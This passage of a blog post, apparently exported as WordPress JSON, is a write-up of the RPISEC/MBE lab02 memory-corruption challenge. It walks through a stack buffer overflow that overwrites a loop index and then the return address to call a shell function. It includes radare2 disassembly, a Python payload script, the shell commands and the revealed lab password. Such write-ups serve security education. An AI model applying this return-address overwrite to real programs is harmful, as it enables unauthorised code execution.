to:<\/p>\n<ol>\n<li>determine the input to overwrite <code>locals.i<\/code> so that the loop iterates enough times to make <code>locals.cat_pointer<\/code> point to the return address<\/li>\n<li>get the address of the function we want to call (<code>shell<\/code>)<\/li>\n<li>determine the location of the return address on the stack<\/li>\n<li>construct the final input to the program<\/li>\n<\/ol>\n<h3>1. overwrite loop-index locals.i<\/h3>\n<p>Because we want to overwrite the stack by using the <code>locals.cat_pointer<\/code> which is incremented within the loop-body, we need to manipulate the loop-index in order to make more than 10 iterations. As the loop-index <code>i<\/code> is located directly after the buffer which we can overflow (<code>word_buf<\/code>), it suffices to input 12 arbitrary characters. Because the input is read using <code>fgets<\/code> the newline (<code>0xa<\/code>) entered to end the input is also put into the destination string. Thus the memory looks like this if we write 12 characters:<\/p>\n<pre>\r\n[--------------word_buf-----------] [----i----]\r\nX  X  X  X  X  X  X  X  X  X  X  X  \\n\r\n58 58 58 58 58 58 58 58 58 58 58 58 0a 00 00 00\r\n<\/pre>\n<p>As the integer value of <code>i<\/code> is stored in little endian and thus the first byte is the least significant byte the value of <code>i<\/code> is just <code>0xa = 10<\/code>. This value is incremented by one and then compared to 10. This way the loop keeps iterating (i = 11, 12, 13, &#8230;). In order to exit the loop we can enter an empty line. If <code>locals.word_buf[0]<\/code> is equal to <code>'\\n'<\/code> the function returns (line 30).<\/p>\n<h3>2. address of function shell<\/h3>\n<p>This is quite easy as we already did it in the last levels using radare2:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nlab2A@warzone:\/levels\/lab02$ r2 lab2A\r\n -- In Soviet Russia, radare2 have documentation.\r\n&#x5B;0x08048600]&gt; aaa\r\n&#x5B;0x08048600]&gt; is~shell\r\nvaddr=0x080486fd paddr=0x000006fd ord=071 fwd=NONE sz=32 bind=GLOBAL type=FUNC name=shell\r\n<\/pre>\n<p>The function <code>shell<\/code> is located at <code>0x080486fd<\/code>.<\/p>\n<h3>3. location of return address<\/h3>\n<p>This is a little bit more complicated. We could modify the loop-index, overwrite the stack with a pattern and then see which part of the pattern causes a segmentation fault like we did in the second level. This time we want to calculate the offset statically for learning purpose. All we need is to have a look at the <code>concatenate_first_chars<\/code> function using r2:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048600]&gt; pdf @ sym.concatenate_first_chars \r\n\u2552 (fcn) sym.concatenate_first_chars 153\r\n\u2502          ; var int local_2_2    @ ebp-0xa\r\n\u2502          ; var int local_6      @ ebp-0x18\r\n\u2502          ; var int local_7      @ ebp-0x1c\r\n\u2502          ; var int local_10     @ ebp-0x28\r\n\u2502          ; CALL XREF from 0x080487e1 (sym.main)\r\n\u2502          ;-- sym.concatenate_first_chars:\r\n\u2502          0x0804871d    55             push ebp\r\n\u2502          0x0804871e    89e5           mov ebp, esp\r\n\u2502          0x08048720    83ec38         sub esp, 0x38\r\n\u2502          0x08048723    8d45d8         lea eax, &#x5B;ebp-local_10]\r\n\u2502          0x08048726    83c014         add eax, 0x14\r\n\u2502          0x08048729    8945e8         mov dword &#x5B;ebp-local_6], eax\r\n\u2502          0x0804872c    c70424a38804.  mov dword &#x5B;esp], str.Input_10_words:  ; &#x5B;0x80488a3:4]=0x75706e49  ; &quot;Input 10 words:&quot; @ 0x80488a3\r\n\u2502          0x08048733    e888feffff     call sym.imp.puts\r\n...\r\n<\/pre>\n<p>How does the stack look like? When the function is called the <code>call<\/code> instruction stores the return address we want to override on the top of stack:<\/p>\n<pre>esp     :  [   return address   ]  &lt;-- pushed by <code>call<\/code> instruction\r\n<\/pre>\n<p>In the function prologue <code>ebp<\/code> is pushed on the stack (line 9):<\/p>\n<pre>esp     :  [      saved ebp     ]  &lt;-- pushed in function prologue\r\nesp+0x04:  [   return address   ]  &lt;-- pushed by <code>call<\/code> instruction\r\n<\/pre>\n<p>On line 10 <code>ebp<\/code> is set to the value of <code>esp<\/code> since local variables are referenced with <code>ebp<\/code>:<\/p>\n<pre>ebp     :  [      saved ebp     ]  &lt;-- pushed in function prologue\r\nebp+0x04:  [   return address   ]  &lt;-- pushed by <code>call<\/code> instruction\r\n<\/pre>\n<p>To calculate the offset to the return address we need to know where the struct is located on the stack. On line 12 we can see that <code>eax<\/code> is loaded with the address <code>ebp-local_10<\/code> (this is <code>ebp-0x28<\/code> as you can see at the top of the r2 output on line 6). On line 13 <code>0x14<\/code> is added to this address. The result is stored at <code>ebp-local_6<\/code> (<code>ebp-0x18<\/code>). This equals line 24 of the original source code where <code>locals.cat_pointer<\/code> is set to the address of <code>locals.cat_buf<\/code>. Thus we have already two offsets of the struct. <code>locals.cat_pointer<\/code> is located at <code>ebp-0x18<\/code> and <code>locals.cat_buf<\/code> is located at <code>ebp-0x28 + 0x14 = ebp-0x14<\/code>. Now we can add the other struct-members and outline the stack:<\/p>\n<pre>ebp-0x28:  [   locals.word_buf  ]\r\nebp-0x1c:  [       locals.i     ]\r\nebp-0x18:  [ locals.cat_pointer ]\r\nebp-0x14:  [   locals.cat_buf   ]\r\nebp-0x0a:            ...\r\nebp     :  [      saved ebp     ]  &lt;-- pushed in function prologue\r\nebp+0x04:  [   return address   ]  &lt;-- pushed by <code>call<\/code> instruction\r\n<\/pre>\n<p>In order to overwrite the return address we have to write 10 + 10 + 4 = 24 bytes to <code>locals.cat_buf<\/code>. The first 10 bytes fill the array <code>locals.cat_buf<\/code>. The next 10 bytes fill the space between <code>ebp-0x0a<\/code> and <code>ebp<\/code>. The last 4 bytes overwrite the saved <code>ebp<\/code>. After that the next 4 bytes we write will overwrite the return address.<\/p>\n<h3>4. final input<\/h3>\n<p>Now we have all information we need to construct the final input to the program in order to get our shell. I wrote a little python script to create the input, which we can later redirect to the program:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n# overwrite locals.i\r\nprint(&quot;X&quot;*12)\r\n\r\n# fill locals.cat_buf and gap to ebp+0x04\r\nfor i in range(23):\r\n  print(&quot;X&quot;)\r\n\r\n# overwrite return address\r\nprint(&quot;\\xfd&quot;)\r\nprint(&quot;\\x86&quot;)\r\nprint(&quot;\\x04&quot;)\r\nprint(&quot;\\x08&quot;)\r\n\r\n# input empty line to exit loop\r\nprint(&quot;&quot;)\r\n<\/pre>\n<p>On line 2 <code>locals.i<\/code> is overwritten with the ending newline (<code>0xa<\/code>) which makes the loop read more than the originally intended 10 words. Notice that this only puts one byte into <code>locals.cat_buf<\/code> because only the first char is moved there. The next 23 bytes are filled with an <code>X<\/code> (lines 5-6). At last the return address is overwritten with the address of the function <code>shell<\/code>.<\/p>\n<p>Now we can store the python output in a file&#8230;<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab2A@warzone:\/levels\/lab02$ python \/tmp\/lab2A.py &gt; \/tmp\/out\r\n<\/pre>\n<p>&#8230; and pipe that input to the program. One thing to notice here is that we cannot just simply do this:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab2A@warzone:\/levels\/lab02$ cat \/tmp\/out| .\/lab2A\r\nInput 10 words:\r\nFailed to read word\r\nYou got it\r\nSegmentation fault\r\nlab2A@warzone:\/levels\/lab02$\r\n<\/pre>\n<p>A segmentation fault is raised and the program is quit. The message <code>You got it<\/code> is printed meaning that the function <code>shell<\/code> has been called successfully and we should have get a shell. Because we only piped the output of <code>cat<\/code> to the program we cannot interact with the shell. This can be done by simply adding another <code>cat<\/code> command rebinding the stdin to our input:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab2A@warzone:\/levels\/lab02$ python \/tmp\/hax.py &gt; \/tmp\/out\r\nlab2A@warzone:\/levels\/lab02$ (cat \/tmp\/out; cat) | .\/lab2A\r\nInput 10 words:\r\nFailed to read word\r\nYou got it\r\n\r\n<\/pre>\n<p>Now we can interact with the shell as usual:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nwhoami\r\nlab2end\r\ncat \/home\/lab2end\/.pass\r\nD1d_y0u_enj0y_y0ur_cats?\r\n<\/pre>\n<p>Done \ud83d\ude42 The final password is <code>D1d_y0u_enj0y_y0ur_cats<\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the last writeup for RPISEC\/MBE lab01 we used radare2 to reverse three different binaries in order to reveal a secret password or serial. In this writeup we continue with lab02 which broaches the issue of Memory Corruption. As well as in the last lab there are three levels ranging from C to A: &#8211;&gt; &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=109\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;RPISEC\/MBE: writeup lab02 (Memory Corruption)&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,7],"tags":[8,9,13,10,11,12,14],"class_list":["post-109","post","type-post","status-publish","format-standard","hentry","category-rpisec-mbe","category-writeup","tag-assembly","tag-binary","tag-elf","tag-pwn","tag-r2","tag-reversing","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/109"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=109"}],"version-history":[{"count":60,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/109\/revisions"}],"predecessor-version":[{"id":406,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/109\/revisions\/406"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=109"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}